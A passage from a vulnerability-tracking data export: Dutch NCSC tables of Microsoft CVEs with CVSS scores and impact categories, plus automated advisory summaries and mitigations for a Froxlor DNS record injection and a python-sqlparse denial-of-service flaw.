Uitvoeren van willekeurige code     | \n| CVE-2026-65777 | 5.30 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Shell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62770 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50472 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-59132 | 7.50 | Denial-of-Service                   | \n| CVE-2026-62792 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Device Association Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62747 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62710 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62695 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-61359 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-65662 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-61360 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kerberos: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62754 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62766 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62773 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62752 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cross Device Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-66804 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Deployment Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62893 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62890 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-62709 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62822 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows iSCSI Target Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-65681 | 7.50 | Denial-of-Service                   | \n| CVE-2026-65679 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-65791 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-65796 | 5.90 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Encrypting File System (EFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-59128 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nApplication Information Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61357 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62772 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62775 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Local Security Authority Server (lsasrv): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62784 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows TPM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-6727  | 5.90 | Toegang tot gevoelige gegevens      | \n| CVE-2026-6726  | 7.90 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61926 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62751 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LDAP - Lightweight Directory Access Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62785 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-62795 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62699 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62908 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62713 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62771 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Management Instrumentation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62738 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Azure Attestation service and Device Health Attestation Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-66802 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-71331 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62690 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-59134 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-61924 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-61352 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-61363 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-61918 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-61921 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62824 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft High Performance Computing (HPC) Pack: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-59124 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-59133 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-59135 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-65786 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65787 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65788 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62799 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62782 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-65794 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62787 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-62817 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-62820 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-62878 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-65789 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-70304 | 6.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-70330 | 6.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-61920 | 6.60 | Uitvoeren van willekeurige code     | \n| CVE-2026-62769 | 6.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62778 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62881 | 6.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62883 | 6.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65795 | 6.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65797 | 6.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65799 | 6.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65798 | 6.70 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-68819 | 5.90 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61937 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62753 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62735 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62739 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62741 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62811 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Display Enhancement Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61923 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62800 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-62790 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62816 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-70348 | 5.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP Protocol Stack: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62750 | 6.50 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61346 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62702 | 6.80 | Denial-of-Service                   | \n| CVE-2026-62774 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-59137 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-61347 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-59126 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61355 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWinlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61939 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Work Folder Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61349 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-68820 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-70307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Modern Device Management (MDM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62707 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft COM for Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-59136 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Connection Broker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61366 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows License Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62777 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wired AutoConfig Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62730 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61932 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-61933 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62703 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62894 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62888 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61368 | 5.00 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Digest Authentication: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62698 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62693 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61361 | 7.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-62755 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65785 | 6.50 | Denial-of-Service                   | \n| CVE-2026-62736 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62783 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62758 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62818 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62718 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62715 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62716 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62742 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62745 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62812 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62720 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62714 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62761 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62776 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62803 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62807 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62814 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62823 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-08-12T01:02:21.255003Z"}, {"uuid": "8fcac6be-f47a-4430-bebe-8cb1a6669959", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54164", "type": "published-proof-of-concept", "source": "https://github.com/api-platform/core/security/advisories/GHSA-9rjg-x2p2-h68h", "content": "", "creation_timestamp": "2026-08-07T18:35:41.166566Z"}, {"uuid": "6b1497af-4a11-45b2-a595-ce1f7ac1df32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54981", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0285", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse Developer Tools.  Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade zoals benoemd in onderstaande tabel.\n\nVoor succesvol misbruik moet de kwaadwillende het slachtoffer misleiden een malafide broncodebestand te importeren en verwerken.\n\n```\nVisual Studio Code CoPilot Chat Extension: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-65675 | 7.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nMicrosoft PowerShell Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58612 | 7.40 | Toegang tot gevoelige gegevens      | \n| CVE-2026-70337 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nGitHub Copilot and Visual Studio Code: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-70335 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVisual Studio Code: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58650 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-59113 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47285 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-69320 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-69278 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-69306 | 8.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-70336 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\n.NET Framework: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62897 | 7.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-62872 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65810 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------| \n| CVE-2026-59119 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-70338 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\n.NET: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62899 | 5.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-62900 | 5.90 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62901 | 7.50 | Denial-of-Service                   | \n| CVE-2026-62902 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62909 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58641 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62871 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-62886 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-70354 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nVisual Studio Code - Python extension: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54981 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-08-12T01:02:14.433175Z"}, {"uuid": "a267500c-95f4-4d2c-bdeb-0ef74649de70", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54066", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/8319d1b9-2993-44a8-93a4-2133659cadaa", "content": "", "creation_timestamp": "2026-08-05T01:00:46.901699Z"}, {"uuid": "5c33933f-8c14-4188-a3e2-6d104dd0c9c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54543", "type": "seen", "source": "https://gist.github.com/alon710/ac73b2e180b3b5bc212b2c31ca85b161", "content": "# CVE-2026-54543: CVE-2026-54543: DNS Resource Record (RR) Injection in Froxlor DomainZones API\n\n> **CVSS Score:** 5.4\n> **Published:** 2026-08-18\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54543\n\n## Summary\nCVE-2026-54543 is a DNS Resource Record (RR) Injection vulnerability in Froxlor, an open-source server administration control panel. Prior to version 2.3.8, the DomainZones.add API command failed to perform strict sanitization and validation on the user-controlled record (label) and type parameters before serializing them into BIND-compatible zone files. An authenticated customer with DNS zone management permissions can inject control characters, breaking out of the original record context to define unauthorized resource records within managed zones.\n\n## TL;DR\nAuthenticated users with DNS edit permissions can inject arbitrary DNS records into BIND zone files via Froxlor's unsanitized DomainZones.add API.\n\n## Technical Details\n\n- **CWE ID**: CWE-74\n- **Attack Vector**: Network\n- **CVSS**: 5.4 (Medium)\n- **EPSS**: Not Assigned\n- **Impact**: DNS manipulation within managed zones\n- **Exploit Status**: None\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- Froxlor Server Administration Control Panel prior to 2.3.8\n- **Froxlor**: < 2.3.8 (Fixed in: `2.3.8`)\n\n## Mitigation\n\n- Upgrade Froxlor to version 2.3.8 or higher.\n- Implement a WAF rule to filter control characters like CR, LF, and semicolon from domain validation parameters.\n- Perform scheduled integrity scans of generated BIND zone configuration files on the host.\n\n**Remediation Steps:**\n1. Fetch the latest stable release of Froxlor 2.3.8 using Git or your system package manager.\n2. Apply the patch from commit a4f09f09fa71337b6cdff364d0a641d631a0130a to existing 2.3.x systems if an immediate major upgrade is not possible.\n3. Validate the output BIND zone configuration files for formatting compliance.\n4. Restart or reload the BIND system service to flush any active injected cache entries.\n\n## References\n\n- [Official GitHub Advisory](https://github.com/froxlor/froxlor/security/advisories/GHSA-5rw4-4665-cvwf)\n- [Vulnerability Remediation Commit](https://github.com/froxlor/froxlor/commit/a4f09f09fa71337b6cdff364d0a641d631a0130a)\n- [Froxlor 2.3.8 Release Notes](https://github.com/froxlor/froxlor/releases/tag/2.3.8)\n- [CVE Record Details on CVE.org](https://www.cve.org/CVERecord?id=CVE-2026-54543)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54543) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-19T12:33:17.899490Z"}, {"uuid": "4ef10641-f08d-47b8-9c5d-026bb8919fb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54284", "type": "seen", "source": "https://gist.github.com/alon710/a26678c544088f973903ab1017f94b18", "content": "# CVE-2026-54284: CVE-2026-54284: Algorithmic Complexity Exhaustion in sqlparse Engine\n\n> **CVSS Score:** 8.7\n> **Published:** 2026-08-17\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54284\n\n## Summary\nAn algorithmic complexity vulnerability in the python-sqlparse library allows remote, unauthenticated attackers to cause a Denial of Service (DoS) via resource exhaustion. By transmitting a carefully constructed SQL statement containing deeply nested structures, an attacker can trigger quadratic CPU consumption within the parsing engine. This behavior bypasses the built-in depth limits because the performance degradation occurs during the initial recursive tree construction, causing the application process to hang.\n\n## TL;DR\nA vulnerability in the python-sqlparse library before version 0.6.0 allows remote attackers to cause a complete Denial of Service (DoS) via high CPU utilization. This is achieved by sending crafted SQL strings with deeply nested structures, which bypass the parser's defensive limits and trigger quadratic processing complexity.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-407\n- **Attack Vector**: Network\n- **CVSS v4.0 Score**: 8.7\n- **Exploit Status**: poc\n- **CISA KEV Status**: No\n- **Remediation Priority**: High\n\n## Affected Systems\n\n- Applications utilizing the python-sqlparse library to parse, format, or analyze SQL strings.\n- Web Application Firewalls (WAFs) and security utilities using python-sqlparse for SQL injection detection.\n- Database administration panels and query formatting interfaces running vulnerable Python backends.\n- **sqlparse**: < 0.6.0 (Fixed in: `0.6.0`)\n\n## Mitigation\n\n- Upgrade sqlparse package to version 0.6.0 or newer to patch the underlying recursive parsing behavior.\n- Implement rate-limiting on endpoints that accept and process raw SQL inputs.\n- Deploy input-length restrictions at the API gateway layer to prevent oversized payloads.\n- Configure aggressive worker timeouts in the WSGI/ASGI application server configuration to auto-recycle locked 